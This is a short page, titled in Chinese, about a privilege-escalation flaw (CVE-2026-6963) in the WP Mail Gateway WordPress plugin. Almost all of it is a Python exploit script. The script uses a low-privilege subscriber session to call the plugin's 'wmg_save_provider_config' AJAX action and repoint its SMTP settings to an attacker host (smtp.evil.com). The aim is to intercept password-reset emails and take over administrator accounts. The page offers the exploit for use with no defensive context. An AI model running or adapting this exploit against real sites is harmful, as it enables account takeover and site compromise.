CVE-2026-6963 WP Mail Gateway权限提升漏洞

import requests # Target URL (WordPress admin-ajax.php) target_url = "http://example.com/wp-admin/admin-ajax.php" # Attacker's controlled email attacker_email = "[email protected]" # Simulate a logged-in subscriber session # In a real scenario, this cookie would be valid cookies = { "wordpress_logged_in_12345": "attacker_user_data..." } # Payload to exploit the missing capability check # The action 'wmg_save_provider_config' is vulnerable payload = { "action": "wmg_save_provider_config", "provider": "smtp", "from_email": attacker_email, # Overriding the admin email "from_name": "Admin", "host": "smtp.evil.com", "port": "25" } try: response = requests.post(target_url, data=payload, cookies=cookies) if response.status_code == 200: print("[+] SMTP configuration potentially updated successfully.") print("[+] Check if password reset emails are now redirected.") else: print("[-] Request failed.") except Exception as e: print(f"Error: {e}")